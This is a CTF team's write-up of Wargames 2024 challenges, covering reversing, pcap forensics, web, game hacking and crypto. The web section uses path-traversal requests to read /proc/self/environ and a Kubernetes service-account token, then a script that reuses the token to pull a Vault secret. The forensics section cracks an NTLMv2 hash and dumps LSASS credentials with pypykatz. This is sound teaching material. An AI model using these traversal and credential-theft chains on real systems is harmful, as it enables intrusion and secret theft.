Post

Wargames 2024

Wargames 2024

img1

During 28th of December 2024.

Our team Team Farmus manage to get into Top 3 with the patience and sheer effin will to sit infront of the laptop for straight 18 to 24 hours.

By the teammates who lies around the floor:

Coffee on me if we get into Top 5 – Capt

Shoutout to OS1RIS for carrying Team Farmus. All HAIL OS1RIS – m4g3 :)

From me:

Me adding another podium title because my club @ManUtd couldn’t – 1Lyd (AKA OS1RIS)


REVERSE


STONES

Description:
When Thanos snapped his fingers, half of the flag was blipped. We need the Avengers to retrieve the other half.
There’s no flag in the movie, but there is a slash flag on the server

First extract the exe into PYC format: https://pyinstxtractor-web.netlify.app/

After that PYC into normal PY: https://pylingual.io/

Extract Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from datetime import datetime
from urllib.request import urlopen
from datetime import datetime
server_url = 'http://3.142.133.106:8000/'
current_time = urlopen('http://just-the-time.appspot.com/')
current_time = current_time.read().strip()
current_time = current_time.decode('utf-8')
current_date = current_time.split(' ')[0]
local_date = datetime.now().strftime('%Y-%m-%d')
if current_date == local_date:
    print("We're gonna need a really big brain; bigger than his?")
first_flag = 'WGMY{1d2993'
user_date = current_date
params = {'first_flag': first_flag, 'date': user_date}
response = requests.get(server_url, params=params)
if response.status_code == 200:
    print(response.json()['flag'])
else:
    print(response.json()['error'])

I added print(params) to check the parameters being sent (while inspecting the code is possible, I needed to ensure the structure of the parameters).

1
2
3
4
5
6
$ cat altered.py
-----STRIP-----
params = {'first_flag': first_flag, 'date': user_date}
print(params)
response = requests.get(server_url, params=params)
-----STRIP-----
1
2
3
$ python original.py
We're gonna need a really big brain; bigger than his?
{'first_flag': 'WGMY{1d2993', 'date': '2024-12-29'}

So the URI will be: http://3.142.133.106:8000/?first_flag=WGMY{1d2993&date=2024-12-29

Alternative way was use Wireshark and capture the traffic GET request: r1

Access http://3.142.133.106:8000/flag, and the server will provide a YouTube video link : https://www.youtube.com/watch?v=V0zJb2K4Yi8&t=75s&ab_channel=FilmeyBox

The issue was that the timezone might differ from the server’s clock. To address this, I created a script that tested a range of dates (20-25) and found the correct one. Make a GET request to http://3.142.133.106:8000, including the date parameter set to the upload date of the YouTube video. This will return the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ cat finder.py
import requests
from datetime import datetime, timedelta
from urllib.parse import unquote
import time

base_url = unquote("http://3.142.133.106:8000/?first_flag=WGMY%7B1d2993&date=")

start_date = datetime(2022, 7, 20)
end_date = datetime(2022, 7, 30)

delay = 4

current_date = start_date
while current_date <= end_date:
    formatted_date = current_date.strftime("%Y-%m-%d")
    full_url = f"{base_url}{formatted_date}"

    response = requests.get(full_url)
    response_text = response.text.strip()
    print(full_url)
    print(response_text)
    if "Wrong date" not in response_text:
        print(f"Correct date found: {formatted_date}")
        print(f"URL: {full_url}")
        print(f"Response: {response_text}")
        break

    current_date += timedelta(days=1)
    time.sleep(delay)
else:
    print("no date")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ python finder.py
http://3.142.133.106:8000/?first_flag=WGMY{1d2993&date=2022-07-20
{"error": "Wrong date"}
http://3.142.133.106:8000/?first_flag=WGMY{1d2993&date=2022-07-21
{"error": "Wrong date"}
http://3.142.133.106:8000/?first_flag=WGMY{1d2993&date=2022-07-22
{"error": "Wrong date"}
http://3.142.133.106:8000/?first_flag=WGMY{1d2993&date=2022-07-23
{"error": "Wrong date"}
http://3.142.133.106:8000/?first_flag=WGMY{1d2993&date=2022-07-24
{"error": "Wrong date"}
http://3.142.133.106:8000/?first_flag=WGMY{1d2993&date=2022-07-25
{"flag" : "WGMY {1d2993fc6327746830cd374debcb98f5}"}
Correct date found: 2022-07-25
URL: http://3.142.133.106:8000/?first_flag=WGMY{1d2993&date=2022-07-25
Response: {"flag" : "WGMY {1d2993fc6327746830cd374debcb98f5}"}

[{"flag" : "WGMY{1d2993fc6327746830cd374debcb98f5}"}]

SUDOKU

Description:
Easy stuff, frfr. You dont need to brute force or guess anything.
The final flag don’t have any dot (.)

First extract the exe into PYC format: https://pyinstxtractor-web.netlify.app/

After that PYC into normal PY: https://pylingual.io/

EXTRACTED SOURCE CODE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import random
alphabet = 'abcdelmnopqrstuvwxyz1234567890.'
plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{[REDACTED]}'

def makeKey(alphabet):
    alphabet = list(alphabet)
    random.shuffle(alphabet)
    return ''.join(alphabet)
key = makeKey(alphabet)

def encrypt(plaintext, key, alphabet):
    keyMap = dict(zip(alphabet, key))
    return ''.join((keyMap.get(c.lower(), c) for c in plaintext))
enc = encrypt(plaintext, key, alphabet)
1
2
$ cat out.enc
z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r, t728{09er1bzbs9sx5sosu7719besr39zscbx}

The code encrypts a plaintext string by substituting each character with a character from a randomly shuffled version of the alphabet. The mapping between the original alphabet and the shuffled key is used for this substitution.

However,'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' are missing from the plaintext.

1
2
3
4
5
6
7
8
9
10
$ cat script.py
plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my'
ciphertext = 'z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r, t728{09er1bzbs9sx5sosu7719besr39zscbx}'

mapping = dict(zip(plaintext, ciphertext))
decoding_map = {v: k for k, v in mapping.items()}

decoded_text = ''.join([decoding_map.get(char, char) for char in ciphertext])

print(decoded_text)
1
2
$ python script.py
0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{2ba914045b56c5e58..1b4a593b05746}

But the letter was still missing. Then I need to print out what letters was missing and not using it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ cat sScript.py
import string

plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my'
ciphertext = 'z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r, t728{09er1bzbs9sx5sosu7719besr39zscbx}'
expected_characters = string.ascii_lowercase + string.digits

mapping = dict(zip(plaintext, ciphertext))
decoding_map = {v: k for k, v in mapping.items()}
decoded_text = ''.join([decoding_map.get(char, char) for char in ciphertext])
decoded_set = set(decoded_text)
missing_characters = [char for char in expected_characters if char not in decoded_set]

print("Decoded Text:", decoded_text)
print("Missing Characters:", missing_characters)
1
2
3
$ python script.py
Decoded Text: 0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{2ba914045b56c5e58..1b4a593b05746}
Missing Characters: ['f', 'g', 'h', 'i', 'j', 'k']

The Missing Characters was : ['f', 'g', 'h', 'i', 'j', 'k'] . But there was no 'g', 'h', 'i', 'j', 'k' in Hex. So made a last script to confirm it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ cat tScript.py
import string

plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my'
ciphertext = 'z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r, t728{09er1bzbs9sx5sosu7719besr39zscbx}'
expected_characters = string.ascii_lowercase + string.digits

mapping = dict(zip(plaintext, ciphertext))
decoding_map = {v: k for k, v in mapping.items()}
decoded_text = ''.join([decoding_map.get(char, char) for char in ciphertext])
decoded_set = set(decoded_text)
missing_characters = [char for char in expected_characters if char not in decoded_set]

hex_range = {'a', 'b', 'c', 'd', 'e', 'f'}
missing_in_hex_range = [char for char in missing_characters if char in hex_range]

print("Decoded Text:", decoded_text)
print("Missing Characters:", missing_characters)
print("Missing Characters in Hex:", missing_in_hex_range)

The only character present in the hex range was 'f', which will be part of the flag.

1
2
3
4
$ python tScript.py
Decoded Text: 0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{2ba914045b56c5e58..1b4a593b05746}
Missing Characters: ['f', 'g', 'h', 'i', 'j', 'k']
Missing Characters in Hex: ['f']

So the correct text will be:

0 the1 quick2 brown3 fox4 jumps5 over6 the7 lazy8 dog9, wgmy{2ba914045b56c5e58ff1b4a593b05746}

[{“flag”, “wgmy{2ba914045b56c5e58ff1b4a593b05746}”}]


FORENSICS


I CANT MANIPULATE PEOPLE

Description:
Partial traffic packet captured from hacked machine, can you analyze the provided pcap file to extract the message from the packet perhaps by reading the packet data?
1
2
3
> certutil.exe -hashfile .\traffic.pcap sha256
SHA256 hash of .\traffic.pcap:
4972aac05176f804bfc0d3170c65020e6783d3b497b7cc965c362f48f71466d3

f1

Clicking the yellow button located at the bottom right revealed an information section containing three protocols: 38 ICMP, 5 TCP, and 5 HTTP. Upon examining the HTTP and TCP protocols, the data consisted solely of a file named dummy?.html, which contained no meaningful content.

f2

Filter: ICMP

f3

Narrow down the analysis, i applied a filter to isolate ICMP traffic. This shown multiple Echo requests(ping), but all were flagged with the status "no response found!". Further, I’m filtering the ping requests that were sent using the following command:

1
2
$ tshark -r traffic.pcap -Y "icmp" -T fields -e data | xxd -r -p
WGMY{1e3b71d57e466ab71b43c2641a4b34f4}

[{“flag” : “WGMY{1e3b71d57e466ab71b43c2641a4b34f4}”}]

UNWANTED MEOW

Description:
Uh.. Oh.. Help me, I just browsing funny cats memes, when I click download cute cat picture, the file that been download seems little bit wierd. I accidently run the file making my files shredded. Ughh now I hate cat meowing at me.

First step was to identified the file type using the file command:

1
2
$ file flag.shredded
flag.shredded: JPEG image data, JFIF standard 1.01, density 25967x30465, segment length 16, thumbnail 1x44

Second step was, i examined the hexadecimal representation using the xxd command:

1
2
3
4
5
$ xxd flag.shredded | head
00000000: ffd8 ffe0 0010 4a46 4946 0001 016d 656f  ......JFIF...meo
00000010: 7701 012c 012c 0000 ffe1 00ac 4578 6966  w..,.,......Exif
00000020: 0000 4d4d 002a 0000 0008 0004 010e 0002  ..MM.*..........
00000030: 0000 0056 0000 003e 0112 0003 0000 0001  ...V...>........

The hexadecimal data contained the sequence 6d656f77, which corresponds to ‘meow’. This sequence needed to be removed. To remove the first occurrence of ‘meow’, the following command was conducted:

1
$ xxd -p flag.shredded | tr -d '\n' | sed 's/6d656f77//g' | xxd -r -p > img.jpeg

f4

The resulting image (img.jpeg), it was still broken. A closer look at the hexadecimal data revealed that multiple instances of ‘meow’ were still present in the file. Now we need to remove it again for the second time. located the remaining occurrences of ‘meow’:

1
2
3
4
5
6
7
$ xxd img.jpeg | grep "meow"
00000480: 6d65 6f77 6c69 3e4e 696c 7320 4a61 636f  meowli>Nils Jaco
00001590: 93c3 de39 8ae6 fad7 c62b 6fa9 6d65 6f77  ...9.....+o.meow
00003ec0: e2a6 8779 6d65 6f77 07c2 5bad 43ed 177f  ...ymeow..[.C...
00004a00: 6d65 6f77 0f9f ef51 79f4 5005 bf9b daa0  meow...Qy.P.....
00004c60: f0ee ebed 7e1f f06f 866d 656f 7774 f966  ....~..o.meowt.f
00005750: 279b 5e61 f137 c39e 1f83 cd6d 656f 77ff  '.^a.7.....meow.

To remove all remaining occurrences of 'meow' , I use the same command again:

1
$ xxd -p img.jpeg | tr -d '\n' | sed 's/6d656f77//g' | xxd -r -p > final.jpeg

After removing all instances, the image was successfully repaired, and the flag was revealed.

f5

[{“flag” : “WGMY{4a4be40c96ac6314e91d93f38043a634}”}]

TRICKY MALWARE

Description:
My SOC detected there are Ransomware that decrypt file for fun. The script kiddies is so tricky. Here some evidence that we successfully retrieve.
1
2
3
$ sha256sum *
1d8bb466da5b13948afff4abbf8450bd92e0d3495298db77eb85ca48e6dceb2e  memdump.mem
972ebbd2893107677e769d0df6013c74ec925260a6a1b4ab4603db7cc3845792  network.pcap

Upon loading the PCAP file using ‘NetworkMiner’, I observed the presence of ‘pastebin[.]com’ (defanged format).

f6

Before I go and utilize the Volatility (vol.py), I opted for a direct search within the memory dump (memdump.mem) to identify Pastebin references. Using the strings command, I located multiple Pastebin URLs embedded in the memory dump without requiring Volatility:

1
2
3
4
5
6
7
$ strings memdump.mem | grep "pastebin[.]com"
-----STRIP-----
Ghttps://pastebin.com/raw/qgwkpvxt
    pastebin_url = "https://pastebin.com/raw/PDXfh5bb"
UrlDownloadToFile, https://pastebin.com/raw/2STTYftz, %ProgramData%\
pastebin.com
-----STRIP-----

To retrieve the flag, I accessed one of the identified Pastebin URLs using the curl command:

1
2
$ curl https://pastebin.com/raw/PDXfh5bb
WGMY{8b9777c8d7da5b10b65165489302af32}

[{“flag” : “WGMY{8b9777c8d7da5b10b65165489302af32}”}]

OH MAN

Description:
We received a PCAP file from an admin who suspects an attacker exfiltrated sensitive data. Can you analyze the PCAP file and uncover what was stolen?
1
2
$ sha256sum wgmy-ohman.pcapng
3f021f97d7579bc1ee43e8945797fe6867652af152756a82640cafc7cc49dc28  wgmy-ohman.pcapng

While examining the packets, I noticed that the SMB2 traffic was encrypted. To proceed, I needed to obtain the NTLM key. Since I didn’t have a premium plan for Network Miner, I used the online tool apackets to extract the hash key of the DESKTOP-PMNU0JK\Administrator account.

You can access the tool here: https://apackets.com/upload

f7

Save the Hash of NTLM to the file ‘hash.txt’ (name can be everything)

1
2
$ cat hash.txt
Administrator::DESKTOP-PMNU0JK:7AAFF6EA26301FC3:AE62A57CAAA5DD94B68DEF8FB1C192F3:01010000000000008675779B2E57DB01376F686E57504D770000000002001E004400450053004B0054004F0050002D0050004D004E00550030004A004B0001001E004400450053004B0054004F0050002D0050004D004E00550030004A004B0004001E004400450053004B0054004F0050002D0050004D004E00550030004A004B0003001E004400450053004B0054004F0050002D0050004D004E00550030004A004B00070008008675779B2E57DB010900280063006900660073002F004400450053004B0054004F0050002D0050004D004E00550030004A004B000000000000000000

Next, I used John the Ripper with the netntlmv2 format and the rockyou.txt wordlist to crack the password:

1
2
3
4
5
6
7
8
9
$ john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password<3       (Administrator)
1g 0:00:00:04 DONE (2024-12-29 17:05) 0.2314g/s 110933p/s 110933c/s 110933C/s praneet..onlyme22
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

The password 'password<3' was successfully cracked. I then configured the NTLMSSP protocol with this password. Preference > Protocol > NTLMSSP . and insert the password ‘password<3’

f8

f9

Now proceeded by clicking Export Objects and selecting SMB to export all available objects

f10

1
2
3
4
5
6
$ sha256sum *
49e286fca30ea3183410ae40b97e1ff231838a2eff4edd8ecab46465ac06a60e  %5csvcctl
64b6ae3babffe3e2eb2c0ed740d3e59bb2809d187f6f4857a4dd5a5e3de098a2  %5cWindows%5cTemp%5c20241225_1939.log
bc21f289cc113a77ca1f48900a321d8f0eff024634a9255becc8afda66c213bd  %5cWindows%5cTemp%5cnano.exe
cc19c422d4aa55f48dcc4a66153b5e19cd19c7e026957fec399cc1ecd59e7d37  %5cWindows%5cTemp%5cRxHmEj
4d8abb9f40d5d22e64123c20519b80ba0985929103bc0928941ac20b3b0c22d9  %5cWindows%5cTemp%5cwqpiZo

One of the file which is ‘%5cWindows%5cTemp%5cRxHmEj’. While reading(cat) encountered an issue with the minidump file’s invalid signature.

1
2
3
4
5
$ cat %5cWindows%5cTemp%5cRxHmEj
The minidump has an invalid signature, restore it running:
scripts/restore_signature 20241225_1939.log
Done, to get the secretz run:
python3 -m pypykatz lsa minidump 20241225_1939.log

found some tools that referenced scripts/restore_signature and similar files, such as nano.exe, which was visible in the Wireshark capture. After researching, I found the relevant GitHub page: https://github.com/fortra/nanodump/tree/main/scripts

1
2
3
$ ./restore_signature %5cWindows%5cTemp%5c20241225_1939.log
done, to analize the dump run:
python3 -m pypykatz lsa minidump %5cWindows%5cTemp%5c20241225_1939.log

After restoring the signature, I followed the instructions to dump the credentials from the minidump file:

1
2
3
4
$ python3 -m pypykatz lsa minidump %5cWindows%5cTemp%5c20241225_1939.log | grep "wgmy"
INFO:pypykatz:Parsing file %5cWindows%5cTemp%5c20241225_1939.log
                username wgmy
                password wgmy{fbba48bee397414246f864fe4d2925e4}

[{“flag” : “wgmy{fbba48bee397414246f864fe4d2925e4}”}]


WEB


WARMUP 2

Description:
Good morning everyone (GMT+8), let’s do some warmup!
Check out dart.wgmy @ 13.76.138.239
1
2
3
$ sudo su

# echo "13.76.138.239   dart.wgmy" >> /etc/hosts

While curl. It only shows the ‘Hello World’ page with nothing inside.

1
2
3
4
5
6
7
8
9
10
$ curl http://dart.wgmy
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Hello, World!</title>
</head>
<body>
    Hello, World!
</body>

Then I start to path traversal and found /etc/hosts

1
2
3
4
5
6
7
8
9
$ curl "http://dart.wgmy/..%2F../etc/hosts" --output -
# Kubernetes-managed hosts file.
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.42.0.17      dart-5cc994657c-jr6gk

Reading through /proc/self/environ. We can see the flag

1
2
$ curl "http://dart.wgmy/..%2F../proc/self/environ" --output -
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=dart-5cc994657c-jr6gkWGMY_FLAG=`wgmy{1ab97a2708d6190bf882c1acc283984a` DART_PORT_80_TCP_PROTO=tcpKUBERNETES_SERVICE_PORT=443DART_SERVICE_PORT=80DART_PORT=tcp://10.43.248.152:80DART_PORT_80_TCP_ADDR=10.43.248.152KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpDART_SERVICE_PORT_HTTP=80KUBERNETES_SERVICE_HOST=10.43.0.1KUBERNETES_PORT=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1DART_SERVICE_HOST=10.43.248.152DART_PORT_80_TCP=tcp://10.43.248.152:80DART_PORT_80_TCP_PORT=80KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT_443_TCP_PORT=443HOME=/

[{“flag” : “wgmy{1ab97a2708d6190bf882c1acc283984a}”}]

SECRET 2

Description:
Can you get the secret this time?
Check out nginx.wgmy @ 13.76.138.239
1
2
3
$ sudo su

# echo "13.76.138.239   nginx.wgmy" >> /etc/hosts

Initial Access to Nginx Server:

1
2
3
4
5
6
$ curl http://nginx.wgmy/
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
-----STRIP-----

Second, I go back and read the source code given. Seems like they do have directory to ‘vault’

w1

Upon reviewing the source code, a directory path /vault/v1/kv/data/flag was found, which appeared to contain the flag. However, access to this path required authentication with a specific role of "wgmy".

w2

A second attempt was made to access the flag at /vault/v1/kv/data/flag. This attempt was unsuccessful, and a "permission denied" error was returned:

1
2
$ curl http://nginx.wgmy/vault/v1/kv/data/flag
{"errors":["permission denied"]}

Finding the Authentication Token The required authentication token was found on the “dart.wgmy” server in the path /var/run/secrets/Kubernetes.io/serviceaccount/token. The token could be retrieved using curl with the command provided below. It will returned a JWT token, which was needed to authenticate.

Read material: https://luandy-4171.medium.com/kubernetes-new-service-account-tokens-25adf0d9c164

1
2
$ curl -s http://dart.wgmy/..%2F../var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IlByRzZ3UnVjcS10NnRVcXFPQkpvb3lPZlRWLXBfMWFTRkZBVEpNMm13bUEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzY3MDA4OTA4LCJpYXQiOjE3MzU0NzI5MDgsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiNzMyYmEwNDQtZmVlOS00MThlLWE2NTktZmYxZjE4MGMyMTBlIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkYXJ0Iiwibm9kZSI6eyJuYW1lIjoid3MiLCJ1aWQiOiJkMjNhNzkxNS0yOWNjLTQ1YTQtOTg3NC1iY2RlZGI0MDNjYTEifSwicG9kIjp7Im5hbWUiOiJkYXJ0LTVjYzk5NDY1N2MtanI2Z2siLCJ1aWQiOiI4YzJkNmU3ZS0yZGNlLTRjYTktOTg2OC1kYmU5M2Y3M2NiNzkifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRhcnQiLCJ1aWQiOiJhOTY4ZmZiYi0yZGFlLTRlNDUtYmVkOS1hNTUzMzdkZmM1OWUifSwid2FybmFmdGVyIjoxNzM1NDc2NTE1fSwibmJmIjoxNzM1NDcyOTA4LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGFydDpkYXJ0In0.nnrdI5eEFe9kkpnCi5dZKqZJ2Cpsu_WWMRnLcP7ty2Iy98toeY4uSEPsI6zf7wRVsP2VNY08-IgcB3LPiFZhxsRgi8UKXTANLcqwAL5rYPHSyM9-HI-D6Opko_wgsK3zRZna3ipLSxhniaVxkk4DEYm_67GnO-0lX_x-GwTQHsiv7fkICxFECnTSovtJQMEK6_TPM53jcvXkhTOJj8pVqnX8wr6arjqt14gTWeRyqOmQKXoFqSbvW_Kp9X0ExpCZNN5lTlEXq8ffYe3kjRZlrZdPLkPcjp38D4_6jbqCVZp3UDKTAwJWdR5wEj27WoKUSNEO5wktjP6DtufK6lagrA

Using the Token to Authenticate The JWT token retrieved from the ‘dart.wgmy’ server was then used to authenticate against the Kubernetes authentication endpoint on ‘nginx.wgmy’. A POST request was sent to /vault/v1/auth/kubernetes/login with the JWT token as part of the payload. After sending the auth to login. Accessing the Flag Once the client token was retrieved, it was used to make another request to the /vault/v1/kv/data/flag endpoint. This time, the request included the X-Vault-Token header with the client token:

Reading material to how to get access auth:

https://www.skybound.link/2024/06/cloudnativesecuritycon-2024-ctf-writeup/

Reading material how to send the token and auth:

https://developer.hashicorp.com/vault/docs/auth/kubernetes

https://developer.hashicorp.com/vault/api-docs/auth/kubernetes#read-config

Final Script:

1
2
3
4
5
6
7
8
9
10
11
12
$ cat sol.sh
jwt_token=$(curl -s http://dart.wgmy/..%2F../var/run/secrets/kubernetes.io/serviceaccount/token)

client_token=$(curl -s http://nginx.wgmy/vault/v1/auth/kubernetes/login \
  -d "{\"role\":\"wgmy\",\"jwt\":\"$jwt_token\"}" | jq -r .auth.client_token)

if [ -z "$client_token" ]; then
  echo "Failed to retrieve client token."
  exit 1
fi

curl --header "X-Vault-Token: $client_token" -s "http://nginx.wgmy/vault/v1/kv/data/flag"

The request to access the flag was successful, and the flag was returned in the response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ bash sol.sh | jq
{
  "request_id": "85f89f41-6c08-8fab-216e-3f09e3483655",
  "lease_id": "",
  "renewable": false,
  "lease_duration": 0,
  "data": {
    "data": {
      "flag": "wgmy{1bc665d324c5bd5e7707909d03217681}"
    },
    "metadata": {
      "created_time": "2024-12-28T17:54:01.255537108Z",
      "custom_metadata": null,
      "deletion_time": "",
      "destroyed": false,
      "version": 1
    }
  },
  "wrap_info": null,
  "warnings": null,
  "auth": null,
  "mount_type": "kv"
}

["flag": "wgmy{1bc665d324c5bd5e7707909d03217681}"]


GAME


WORLD 1

Description:
Game hacking is back!
Can you save the princess?
White screen? That is a part of the challenge, try to overcome it.

Open the game and play to collect the first 4 part of the flag and save the game (file1.rmmzsave). (right before the last boss)

r1

Locate the save file (file.rmmzsave) and edit it using

https://www.save-editor.com/tools/rpg_tkool_mz_save.html

r2

Boost the level and stats to max level

r3

r4

Save the edited tfile and open the game on the last boss

r5

r6

Collected flag’s pieces:

r7

r8

r9

r10

r11

r12

[{“flag” : “wgmy{5ce7d7a7140ebabf5cd43effd3fcaac2}”}]

WORLD 2

Description:
Welp, time to do it again.
Unable to install? That is a part of the challenge, try to overcome it.

While using ‘jadx’ I do see Flag part but only 3 parts was present (as part 4 appear only in map and part 5 was QR). For two parts (Flag 1 and Flag 2) exist in:

assets/www/data/CommonEvents.json r13

Flag 3 was located on Map004.json:

assets/www/data/Map004.json r14

While looking at Actors.json, we can see the initialLevel was ‘1’ and if we can change it to Max level, our game could be much easier. Actors.json was located at:

assets/www/data/Actors.json

r15

Using apkeditor tool to edit the Actors.json:

r16

After inserting the .apk, click on the Open Contents.

r17

It will open the explorer.exe directory to temporary folder (Temp), now head to assets/www/data:

C:\Users\[user]\AppData\Local\Temp\apk-editor-studio\apk\{46f277b8-60d2-40ab-a00d-c421120d3282}\assets\www\data

We need to edit the Actors.json

r18

Change the initialLevel from '1' to '99' and save it:

r19

After save the Actors.json save the Apk and install the game:

r20

Load up the game after completing installing the apk and see the level was '99':

r21

r22

r23

r24

r25

r26

After collect em all. Then we get the flag:

[{“flag” : “wgmy{4068a87d81d8c901043885bac4f51785}”}]

WORLD 3

Description:
Welp, time to do it again and again

Defeat the bosses and collect the flags:

r26

r27

r28

r29

r30

Using cheatengine (Right before playing with the last boss), pinpoint the address for HP

  1. Multiple the value by 2. For example, 544 x 2 = 1088.
  2. After dropping health, multiple the value which will be 942, and insert into the Hex Value Field, and do next scan.
  3. After pinpointing it, change the value

Reading Material: https://www.reddit.com/r/RPGMaker/comments/7cit7v/rpg_maker_mv_cheat_engine_hacking/

r31

r32

r32

With that “skill” to always have lots of health. Defeat the final boss and collect the flag.

r32

[{“flag” : “wgmy{811a332e71b5d4651edd3ddcace5b748}”}]


MISC


CHRISTMAS GIFT

Description:
Here is your christmas GIFt from santa! Just open and wait for it..

Downlaod the GiF then fast forward till the last frame

m1

[{“flag” : “wgmy{1eaa6da7b7f5df6f7c0381c8f23af4d3}”}]

THE DCM META

Description:
“[25, 10, 0, 3, 17, 19, 23, 27, 4, 13, 20, 8, 24, 21, 31, 15, 7, 29, 6, 1, 9, 30, 22, 5, 28, 18, 26, 11, 2, 14, 16, 12]”

Get content of file either using a script or hexedit

m2

Rearrange the string based on the description

[25, 10, 0, 3, 17, 19, 23, 27, 4, 13, 20, 8, 24, 21, 31, 15, 7, 29, 6, 1, 9, 30, 22, 5, 28, 18, 26, 11, 2, 14, 16, 12]

[{“flag” : “WGMY{51fadeb6cc77504db336850d53623177}”}]

INVISIBLE INK

Description:
The flag is hidden somewhere in this GIF. You can’t see it? Must be written in transparent ink.

First we need to extract the frame by frame. Using stegsolve and go into Analyse > Frame Browser

m3

On the frame 5 and 7. We get to see some gibberish frame exists. No save both of that frame (separate)

m4

Frame 5(Random color map 1) and Frame 6(Random colour map 1) have both pieces of the flag. We need to combine it both layer.

Frame 5:

m5

Frame 6:

m6

Analyse > Image Combiner and combine the Random Color map of both image:

m7

Select ‘OR’ and we get to see the flag.

m8

[{“flag” : “wgmy{d41d8cd98f00b204e9800998ecf8427e}”}]


CRYPTO


CREDENTIALS

Description:
We found a leak of a blackmarket website’s login credentials. Can you find the password of the user osman and successfully decrypt it?

Received user.txt and passwd.txt

c1

Locate the line containing “osman” in user.txt then find the corresponding line in passwd.txt which is line 337

c2

Crack it via caesar cipher and retrieve the flag

c3

[{“flag” : “WGMY{b6d180d9c302d8a8daad1f2174a0b212}”}]


HALL OF FAME


HOF

This post is licensed under CC BY 4.0 by the author.